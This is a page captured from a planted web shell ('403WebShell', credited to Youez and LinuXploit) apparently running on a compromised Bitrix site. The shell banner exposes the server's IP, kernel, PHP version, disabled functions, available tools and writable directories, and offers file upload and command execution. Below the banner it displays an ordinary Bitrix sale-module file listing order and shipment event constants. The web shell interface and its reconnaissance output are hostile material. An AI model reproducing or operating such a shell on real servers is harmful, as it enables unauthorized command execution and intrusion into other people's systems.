%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.191.233.15
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/eventactions.php
<?php
namespace Bitrix\Sale;

use Bitrix\Sale\Internals\CollectableEntity;

class EventActions
{
	const ADD = "ADD";
	const UPDATE = "UPDATE";
	const DELETE = "DELETE";

	// Events new kernel
	const EVENT_ON_ORDER_PAID = "OnSaleOrderPaid";
	const EVENT_ON_BEFORE_ORDER_DELETE = "OnSaleBeforeOrderDelete";
	const EVENT_ON_ORDER_DELETED = "OnSaleOrderDeleted";
	const EVENT_ON_ORDER_BEFORE_SAVED = "OnSaleOrderBeforeSaved";
	const EVENT_ON_ORDER_SAVED = "OnSaleOrderSaved";
	const EVENT_ON_SHIPMENT_DELIVER = "OnSaleShipmentDelivery";

	const EVENT_ON_BEFORE_ORDER_CANCELED = "OnSaleBeforeOrderCanceled";
	const EVENT_ON_ORDER_CANCELED = "OnSaleOrderCanceled";

	const EVENT_ON_ORDER_PAID_SEND_MAIL = "OnSaleOrderPaidSendMail";
	const EVENT_ON_ORDER_CANCELED_SEND_MAIL = "OnSaleOrderCancelSendEmail";

	const EVENT_ON_BASKET_BEFORE_SAVED = "OnSaleBasketBeforeSaved";
	const EVENT_ON_BASKET_ITEM_BEFORE_SAVED = "OnSaleBasketItemBeforeSaved";
	const EVENT_ON_BASKET_ITEM_SAVED = "OnSaleBasketItemSaved";
	const EVENT_ON_BASKET_SAVED = "OnSaleBasketSaved";

	const EVENT_ON_SHIPMENT_TRACKING_NUMBER_CHANGE = "OnShipmentTrackingNumberChange";
	const EVENT_ON_SHIPMENT_ALLOW_DELIVERY = "OnShipmentAllowDelivery";
	const EVENT_ON_SHIPMENT_DEDUCTED = "OnShipmentDeducted";

	const EVENT_ON_BEFORE_SHIPMENT_RESERVE = "OnSaleBeforeShipmentReserve";
	const EVENT_ON_SHIPMENT_RESERVED = "OnSaleShipmentReserved";

	const EVENT_ON_PAYMENT_PAID = "OnPaymentPaid";

	const EVENT_ON_BEFORE_ORDER_STATUS_CHANGE = "OnSaleBeforeStatusOrderChange";
	const EVENT_ON_ORDER_STATUS_CHANGE = "OnSaleStatusOrderChange";
	const EVENT_ON_ORDER_STATUS_CHANGE_SEND_MAIL = "OnSaleOrderStatusChangeSendEmail";

	const EVENT_ON_BEFORE_SHIPMENT_STATUS_CHANGE = "OnSaleBeforeStatusShipmentChange";
	const EVENT_ON_SHIPMENT_STATUS_CHANGE = "OnSaleStatusShipmentChange";
	const EVENT_ON_SHIPMENT_STATUS_CHANGE_SEND_MAIL = "OnSaleShipmentStatusChangeSendEmail";

	const EVENT_ON_ORDER_STATUS_ALLOW_PAY_CHANGE = "OnSaleStatusAllowPayChange";
	const EVENT_ON_ORDER_STATUS_ALLOW_PAY_CHANGE_SEND_MAIL = "onSaleOrderStatusAllowPaySendEmail";

	const EVENT_ON_ADMIN_ORDER_LIST = "OnSaleAdminOrderList";

	const EVENT_ON_BASKET_ITEM_REFRESH_DATA = "OnSaleBasketItemRefreshData";

	const EVENT_ON_CHECK_PRINT = "OnSalePaymentCheckPrint";

	const EVENT_ON_CHECK_PRINT_ERROR = "OnSalePaymentCheckPrintError";

	const EVENT_ON_CHECK_VALIDATION_ERROR = "OnSalePaymentCheckValidationError";

	const EVENT_ON_TAX_GET_LIST = "OnSaleTaxGetList";

	const ENTITY_COLLECTABLE_ENTITY = CollectableEntity::class;

	const EVENT_ON_ORDER_BEFORE_ARCHIVED = "OnSaleOrderBeforeArchived";

	const EVENT_ON_NEED_DELIVERY_RECIPIENT_CONTACT = "OnNeedDeliveryRecipientContact";

	/**
	 * @return array
	 * @throws \Bitrix\Main\ArgumentException
	 */
	public static function getEventNotifyMap()
	{
		$registry = Registry::getInstance(Registry::REGISTRY_TYPE_ORDER);

		/** @var Order $orderEntity */
		$orderEntity = $registry->getOrderClassName();

		/** @var Shipment $shipmentEntity */
		$shipmentEntity = $registry->getShipmentClassName();

		/** @var Notify $notifyEntity */
		$notifyEntity = $registry->getNotifyClassName();

		return array(
			static::EVENT_ON_ORDER_SAVED => array(
				"ENTITY" => $orderEntity,
				"METHOD" => array($notifyEntity, "sendOrderNew"),
			),
			static::EVENT_ON_ORDER_CANCELED => array(
				"ENTITY" => $orderEntity,
				"METHOD" => array($notifyEntity, "sendOrderCancel"),
			),
			static::EVENT_ON_ORDER_PAID => array(
				"ENTITY" => $orderEntity,
				"METHOD" => array($notifyEntity, "sendOrderPaid"),
			),

			static::EVENT_ON_ORDER_STATUS_CHANGE => array(
				"ENTITY" => $orderEntity,
				"METHOD" => array($notifyEntity, "sendOrderStatusChange"),
			),
			static::EVENT_ON_SHIPMENT_TRACKING_NUMBER_CHANGE => array(
				"ENTITY" => $shipmentEntity,
				"METHOD" => array($notifyEntity, "sendShipmentTrackingNumberChange"),
			),
			static::EVENT_ON_SHIPMENT_ALLOW_DELIVERY => array(
				"ENTITY" => $shipmentEntity,
				"METHOD" => array($notifyEntity, "sendShipmentAllowDelivery"),
			),
			static::EVENT_ON_SHIPMENT_STATUS_CHANGE => array(
				"ENTITY" => $shipmentEntity,
				"METHOD" => array($notifyEntity, "sendShipmentStatusChange"),
			),

			static::EVENT_ON_ORDER_STATUS_ALLOW_PAY_CHANGE => array(
				"ENTITY" => $orderEntity,
				"METHOD" => array($notifyEntity, "sendOrderAllowPayStatusChange"),
			),

			static::EVENT_ON_CHECK_PRINT => array(
				"ENTITY" => static::ENTITY_COLLECTABLE_ENTITY,
				"METHOD" => array($notifyEntity, "sendPrintableCheck"),
			),

			static::EVENT_ON_CHECK_PRINT_ERROR => array(
				"ENTITY" => static::ENTITY_COLLECTABLE_ENTITY,
				"METHOD" => array($notifyEntity, "sendCheckError"),
			),

			static::EVENT_ON_CHECK_VALIDATION_ERROR => array(
				"ENTITY" => $orderEntity,
				"METHOD" => array($notifyEntity, "sendCheckValidationError"),
			),

		);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit